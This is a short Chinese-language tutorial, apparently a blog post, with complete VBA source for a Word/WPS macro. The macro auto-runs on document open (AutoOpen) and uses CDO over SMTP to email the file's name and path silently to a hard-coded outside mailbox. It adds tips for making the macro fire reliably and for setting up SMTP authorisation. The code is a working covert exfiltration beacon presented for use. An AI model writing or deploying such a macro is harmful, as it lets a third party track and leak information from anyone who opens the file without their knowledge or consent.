簡介
利用word VB編程實現一個腳本,設置爲文檔打開時運行,然後利用CDO發送電子郵件將文件的路徑和名字發送到指定郵箱中。
思路
- 建立wps或者wordVB開發環境,需要下載插件,可以搜索如何開啓宏功能
- 測試VB(利用AutoOpen執行打開文檔時運行)
- 利用WordObj.ActiveDocument獲取文件信息
- 利用電子郵件實現信息傳遞,這裏我使用的是CDO實現電子郵件發送
源代碼
Sub AutoOpen()
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
'MsgBox (Doc.Path)
Const from = "123123@qq.com"
Const to_ = "99999999@163.com"
Const password = "XXXXXXXXXXX"
Set CDO = CreateObject("CDO.Message")
CDO.from = from
CDO.to = to_
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path
Const proxyUrl= "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl& "sendusing") = 2
.Item(proxyUrl& "smtpserver") = "smtp.XX.com"
.Item(proxyUrl& "smtpserverport") = 465
.Item(proxyUrl& "smtpauthenticate") = 1 '是否開啓用戶名密碼驗證
.Item(proxyUrl& "sendusername") = "1231233"
.Item(proxyUrl& "sendpassword") = password
.Item(proxyUrl& "smtpusessl") = True '是否使用ssl協議
.Item(proxyUrl& "smtpconnectiontimeout") = 60
.Update
End With
CDO.Send
Set CDO = Nothing
'MsgBox("done")
End Sub
重點和難點
- wps報429 ActiveX不能創建對象 ,解決:https://www.cnblogs.com/pyman/p/7918484.html
- 獲取文件信息的時候,有很多方法,但是不是每種方法都可以,我認爲存在版本問題。
- CDO發送郵件的時候需要開啓郵件的stmp授權代理,另外有的郵件需要設置授權碼而不是密碼。
- 腳本需要設置爲“thisDocument”,否則很容易不運行。